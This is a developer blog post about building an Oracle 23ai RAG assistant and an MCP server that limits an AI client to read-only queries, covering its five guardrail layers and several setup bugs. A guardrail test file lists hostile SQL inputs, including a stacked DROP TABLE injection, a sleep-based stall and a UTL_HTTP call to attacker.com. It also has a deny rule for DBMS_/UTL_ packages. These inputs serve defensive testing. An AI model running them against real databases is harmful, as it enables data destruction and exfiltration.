惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Docker
MyScale Blog
MyScale Blog
WordPress大学
WordPress大学
N
News and Events Feed by Topic
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
MongoDB | Blog
MongoDB | Blog
V
Vulnerabilities – Threatpost
月光博客
月光博客
罗磊的独立博客
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Apple Machine Learning Research
Apple Machine Learning Research
有赞技术团队
有赞技术团队
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
F
Full Disclosure
Simon Willison's Weblog
Simon Willison's Weblog
D
DataBreaches.Net
T
Threatpost
Hacker News: Ask HN
Hacker News: Ask HN
阮一峰的网络日志
阮一峰的网络日志
TaoSecurity Blog
TaoSecurity Blog
Microsoft Azure Blog
Microsoft Azure Blog
Scott Helme
Scott Helme
S
Securelist
W
WeLiveSecurity
K
Kaspersky official blog
The GitHub Blog
The GitHub Blog
Attack and Defense Labs
Attack and Defense Labs
博客园 - 三生石上(FineUI控件)
The Hacker News
The Hacker News
Google Online Security Blog
Google Online Security Blog
Stack Overflow Blog
Stack Overflow Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
Security Latest
Security Latest
M
MIT News - Artificial intelligence
人人都是产品经理
人人都是产品经理
The Last Watchdog
The Last Watchdog
C
Check Point Blog
T
Troy Hunt's Blog
P
Proofpoint News Feed
J
Java Code Geeks
G
Google Developers Blog
Schneier on Security
Schneier on Security
Cyberwarzone
Cyberwarzone
S
Security @ Cisco Blogs
宝玉的分享
宝玉的分享
Recent Commits to openclaw:main
Recent Commits to openclaw:main
A
About on SuperTechFans
T
The Blog of Author Tim Ferriss
L
LINUX DO - 最新话题
Jina AI
Jina AI

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
An Oracle DBA builds AI: shipping Oracle 23ai RAG and an MCP server in a weekend
Ranjith Kuma · 2026-05-14 · via DEV Community

I asked Claude to 'DROP TABLE' on my Oracle database.

It tried. The guardrails refused. The audit log captured it.

That's the demo screenshot at the top of mcp-oracle-dba, one of two open-source repos I shipped this weekend as an Oracle Apps DBA learning AI infrastructure. The other is oracle-ebs-rag — a retrieval-augmented chat assistant over Oracle E-Business Suite resolution notes, running on Oracle Database 23ai's native vector search.

Both repos are MIT-licensed. Datasets are fully synthetic.

This post is about what I learned. Not the tutorial-level "here's how to call an embedding API" stuff — the actual production-shaped lessons that took an hour of head-scratching each. If you're an Oracle DBA watching AI from the sidelines, my hope is this post saves you those hours.


Why an Oracle DBA, of all people

The 2026 narrative is "AI is replacing DBAs." Look at any tech-jobs Twitter thread and you'll find it.

The reality I've found is closer to "DBAs who can ship AI infrastructure replace DBAs who can't." Production AI is mostly infrastructure: connection pooling, statement timeouts, audit logs, schema allowlists, PII redaction, prompt caching, cost monitoring. Every one of those is something DBAs already think about daily. It's not ML research.

I'm an Oracle Apps DBA. Day job is running production Oracle E-Business Suite R12.2 — upgrades, cloning, patching, adop troubleshooting, performance tuning, plus database administration on Oracle 19c. Ansible for automation. OCI for cloud. Standard stack.

What surprised me about building AI infrastructure: my Oracle skills transferred more cleanly than I expected. The new piece is small compared to the production-engineering scaffolding around it.

Here's the proof, then the lessons.


What I built

Talk to EBS — RAG over Oracle E-Business Suite

A chat interface where I ask plain-English questions about EBS production scenarios and the system responds with grounded answers and inline citations to the source notes.

The stack:

  • Oracle Database 23ai Free in Docker (via OrbStack on Apple Silicon). Native VECTOR(1024, FLOAT32) datatype, VECTOR_DISTANCE function with cosine similarity. No external vector database. No Pinecone, no Weaviate, no Milvus.
  • Cohere embed-english-v3.0 for embeddings (1024 dimensions, free tier is generous).
  • Claude Sonnet with prompt caching for grounded generation.
  • Streamlit chat UI with streaming responses, citations panel, and a sidebar that tracks live cost and prompt-cache hit rate.
  • uv for Python project management.

The dataset is 3 synthetic resolution notes covering concurrent-manager troubleshooting, workflow mailer issues, and adop patching failures. Each note has YAML frontmatter and is split on Markdown H2 headings (Symptom / Diagnosis / Root cause / Resolution) into 5–6 chunks. That's about 17 chunks total in the vector store.

Eval harness with Claude Haiku as judge over a 10-question golden set. Current baseline:

Metric Result
Retrieval recall @ 6 100 %
Must-contain pass 100 %
Must-not-contain pass 100 %
Claude Haiku judge avg 4.80 / 5

CI regression gate in .github/workflows/eval.yml fails the build on >5 percentage-point drop on any metric. Zero tolerance on must_not_contain (forbidden-claim violations).

mcp-oracle-dba — A Model Context Protocol server for Oracle

This one is the more unusual project. MCP is a protocol Anthropic released that lets any compatible client (Claude Desktop, Claude Code, Cursor) plug in tools written in any language. Most "let your LLM query the database" demos hand the LLM a connection string and trust it not to call DROP TABLE. This server flips that.

mcp-oracle-dba demo

Above: real conversation through Claude Desktop. Claude runs list_schemas, describe_table, run_select against my Oracle 23ai — then is refused when it tries to DROP TABLE. The rejection lands in audit.log as a JSON line.

Five tools exposed:

list_schemas       → returns the allowlist of schemas the server can query
describe_table     → column metadata for SCHEMA.TABLE
run_select         → executes a SELECT / WITH, row-capped, PII-redacted
explain_plan       → returns DBMS_XPLAN.DISPLAY output
top_sql            → top SQL by elapsed time from v$sql in the last N min

Enter fullscreen mode Exit fullscreen mode

Five independent guardrail layers reject unsafe input before it reaches Oracle:

  1. Single-statement parser — rejects ... ; DROP TABLE x injection.
  2. First-keyword allowlist — only SELECT and WITH accepted.
  3. Banned-keyword scan — DML, DDL, PL/SQL blocks, transaction control blocked anywhere in the statement.
  4. Dangerous-package regex — blocks DBMS_*, UTL_*, SYS.* calls (think DBMS_LOCK.sleep, UTL_HTTP.request).
  5. Hard row cap — every approved query gets wrapped in SELECT * FROM (...) FETCH FIRST :N ROWS ONLY.

Plus a read-only DB user, schema allowlist for introspection, PII column redaction by name substring (SSN, SALARY, PASSWORD…), JSON audit log of every call, and server-side statement timeout via oracledb's call_timeout.

There are 45 security tests in tests/test_guardrails.py. Every test maps to a real attack vector. Sample:

@pytest.mark.parametrize("sql", [
    "SELECT 1 FROM dual; DROP TABLE fnd_user",
    "BEGIN dbms_lock.sleep(60); END;",
    "SELECT dbms_random.value FROM dual",
    "SELECT utl_http.request('http://attacker.com') FROM dual",
    "MERGE INTO target USING source ON (...) WHEN MATCHED THEN UPDATE...",
])
def test_blocks_dangerous_sql(sql):
    with pytest.raises(SqlGuardError):
        validate_select(sql)

Enter fullscreen mode Exit fullscreen mode

When I wired the MCP server up to Claude Desktop and asked Claude to drop a table, this is what the audit log captured:

{"ts": "2026-05-13T01:07:39Z", "tool": "run_select",
 "sql": "DROP TABLE ragapp.rag_documents",
 "rejected": "Only SELECT and WITH allowed; got: DROP"}

Enter fullscreen mode Exit fullscreen mode

Claude got back a clean error message and reported to me that the operation was refused. No SQL ever reached Oracle.


The five bugs that taught me the most

Here's the meat. Each of these cost me about an hour. If you build something similar, you'll likely hit at least two of them.

1. OrbStack's macOS port-forward NAT silently mangles Oracle TNS handshakes

Symptom: python-oracledb thin-mode connection from my Mac to the Oracle container fails immediately with:

oracledb.exceptions.DatabaseError: DPY-4011: the database or
network closed the connection
[Errno 54] Connection reset by peer

Enter fullscreen mode Exit fullscreen mode

The listener's text trace log shows nothing — only successful sqlplus connections from inside the container. After half an hour of trying 127.0.0.1 vs localhost, OOB disable, TNS descriptor format, and force-registering the service, the smoking gun finally surfaced in the XML listener alert log (different file from the trace log):

* (ADDRESS=(PROTOCOL=tcp)(HOST=192.168.215.0)(PORT=63905))
* <unknown connect data> * 12537
TNS-12537: TNS:connection closed
TNS-12560: Database communication protocol error
TNS-00507: Connection closed

Enter fullscreen mode Exit fullscreen mode

<unknown connect data> — the listener received the connect packet but couldn't parse it. The source IP was OrbStack's NAT gateway (.215.0), not my host or the container.

The fix: don't go through 127.0.0.1 at all. OrbStack on macOS gives each container an <container-name>.orb.local hostname that routes natively without NAT. So:

# Before — fails
DSN = "127.0.0.1:1521/FREEPDB1"

# After — works
DSN = "oracle23ai.orb.local:1521/FREEPDB1"

Enter fullscreen mode Exit fullscreen mode

Same Oracle, same Python, same code path. Different DNS path. Connection succeeds.

This is documented exactly zero places I could find. Filed it under "things you only learn by hitting them."

2. Sandboxed macOS apps can't resolve *.orb.local

This bit me a second time, an hour later. After getting my terminal scripts to work with oracle23ai.orb.local, I wired the MCP server into Claude Desktop and watched list_schemas succeed but run_select fail with the same No route to host error.

Why? Claude Desktop is a sandboxed macOS app. When it spawns the MCP server as a child process, that child process inherits the sandbox — and the sandbox doesn't have access to OrbStack's DNS resolver. So oracle23ai.orb.local doesn't resolve.

The fix: use the container's direct IP, which routes through normal kernel networking:

CONTAINER_IP=$(docker inspect oracle23ai \
  --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
# Then: ORA_DSN=$CONTAINER_IP:1521/FREEPDB1

Enter fullscreen mode Exit fullscreen mode

The IP can change on container recreate, but it's stable across restarts. For a dev tool, that's a fair trade.

This one is now in the README's troubleshooting section. I expect every Mac user who wires up an MCP server with a Dockerised Oracle to hit this.

3. SELECT_CATALOG_ROLE replaces three explicit V$ grants

My first cut of the read-only user setup had this:

CREATE USER mcp_ro IDENTIFIED BY "...";
GRANT CREATE SESSION TO mcp_ro;
GRANT SELECT ON v_$sql       TO mcp_ro;  -- fails
GRANT SELECT ON v_$session   TO mcp_ro;  -- fails
GRANT SELECT ON v_$pdbs      TO mcp_ro;  -- fails

Enter fullscreen mode Exit fullscreen mode

Three ORA-00942: table or view does not exist errors. The V_$ views are owned by SYS. SYSTEM has the DBA role and can read them, but to grant them onward you need to be SYS or have explicit WITH GRANT OPTION. None of those things are true by default.

The fix:

GRANT SELECT_CATALOG_ROLE TO mcp_ro;

Enter fullscreen mode Exit fullscreen mode

That one role covers every V$ and DBA_* view in the dictionary, in one line. It's the right answer for any service that needs to introspect Oracle. No SYS-grantor problem.

Bonus: the same script also tried GRANT CREATE INDEX TO ragapp — which fails because CREATE INDEX isn't a system privilege for tables you own; it's implicit with CREATE TABLE. Common muscle-memory error from PostgreSQL or MySQL.

4. sqlparse tags CTE statements as Keyword.CTE, not DML

My SQL guardrail had this strict check:

from sqlparse.tokens import DML

first_token = next((t for t in stmt.tokens if not t.is_whitespace), None)
if first_token.ttype is not DML or first_token.value.upper() not in {"SELECT", "WITH"}:
    raise SqlGuardError("Only SELECT and WITH allowed")

Enter fullscreen mode Exit fullscreen mode

The unit test I'd written deliberately included WITH t AS (SELECT 1 FROM dual) SELECT * FROM t to make sure CTEs would pass. It failed on the first run.

Reason: sqlparse classifies WITH as Token.Keyword.CTE (a subtype of Keyword), not Token.Keyword.DML. My type check rejected it.

The fix: stop relying on token type for the first-keyword check and lean on the other guardrails:

first_val = first_token.value.upper().strip()
if first_val not in {"SELECT", "WITH"}:
    raise SqlGuardError(...)

Enter fullscreen mode Exit fullscreen mode

The banned-keyword scan and dangerous-package regex handle the rest. Multi-layer defence means the first-keyword check doesn't need to be perfect at token-type discrimination — it just needs to recognise legitimate SQL starters.

What I like about this one: the test caught the bug in seconds. I didn't have to discover it in production with a real CTE-using user. That's the value of a guardrail test suite.

5. Prompt caching doesn't help on first turns. Only follow-ups.

I'd read about Anthropic's prompt caching dropping costs ~85 % and assumed I'd see that immediately. First eval run, all ten questions: cache_read_input_tokens: 0 across the board. Cost was $0.10 for the run.

What I missed: each question retrieves a different set of context chunks. The cached prefix (system prompt + retrieved context) is different per question, so every first turn writes to the cache, none read from it.

Where caching actually fires is multi-turn follow-ups on the same retrieval. Ask "concurrent request stuck — what do I check?" then "what about OPP memory pressure?" → the second turn reuses the same retrieved context → cache hit, ~85 % cost drop on the cached portion.

I added a sidebar widget to the Streamlit UI that tracks the live cache hit rate. Now I can see the cache working when I ask follow-ups in the same chat. Without that visibility I'd have assumed it wasn't working.

The Anthropic docs are clear about this; I just didn't read carefully enough. The lesson: instrument cost and cache metrics from day one, not as a later optimisation.


What the numbers look like in practice

Per question over the 10-question golden eval:

  • Input tokens: ~900–1,500
  • Output tokens: ~400–600
  • Cost on Claude Sonnet: ~$0.01 per question
  • On follow-ups with cache hit: ~$0.002 per question
  • Retrieval latency (brute-force VECTOR_DISTANCE on 17 chunks): under 50 ms

The HNSW vector index is intentionally deferred. Oracle 23ai's HNSW needs vector_memory_size > 0 which requires a database restart. For 17 chunks, brute force is so fast that adding HNSW would be premature optimisation. It's a future blog post — "before/after benchmark when the corpus grows to 10,000 chunks."


What I'd do differently if I started over

A few honest self-critiques after sitting with the result for a day:

  • More synthetic notes from the start. Three is enough to prove the pipeline, but for eval-driven iteration you really want 15–20. I'll grow the dataset over the next few weekends.
  • Hybrid retrieval would have been worth the day. Pure vector search has a known weakness: it doesn't always rank obvious keyword matches first. Adding Oracle Text BM25 in parallel and ranking on a combined score is a 20 % retrieval recall improvement on most datasets. Will be the next thing I build.
  • The MCP server should have AWR/ASH tools from day one. The whole point of an Oracle MCP server is to let an LLM read production diagnostics. Top SQL is in there now; AWR snapshot summary, ASH wait-event histogram, and DB time-model breakdown all belong in the next release.
  • CI should run the eval on every PR, not just locally. It does now — added .github/workflows/eval.yml — but the secrets aren't configured yet so it'll fail on first PR until I add them. Tomorrow problem.

The DBA-to-AI take-away

If you're an Oracle DBA reading this, three points to leave you with:

  1. The vector database you might be evaluating in 2026 is already in Oracle. Native VECTOR datatype since 23ai (released 2024). If your shop runs Oracle, your data is already where the embeddings should live. Single SQL surface, single security model, single backup story.

  2. Production-AI is mostly the production part. Connection pooling, statement timeouts, audit logs, schema allowlists, PII redaction, prompt caching — these are day-one DBA instincts. Most AI tutorials are written by people who haven't carried a pager and it shows.

  3. Pick a real workload and embed an LLM next to it. Don't try to compete with ML researchers. The leverage for DBAs is using AI to make existing data more accessible. A RAG assistant over your team's existing runbooks is a higher-ROI weekend project than learning PyTorch.

The job market in 2026 isn't "DBA versus AI engineer." It's "DBA who can ship AI infrastructure versus everyone else." The data depth is the moat. The AI piece sits on top.


Repos and links

Both MIT-licensed. Dataset is fully synthetic. If you're an Oracle person working on similar things, my DMs are open — happy to compare notes. If you're a recruiter working on senior roles in AI / data infrastructure or Oracle + cloud automation, also happy to chat.

Feedback on the post welcome in the comments.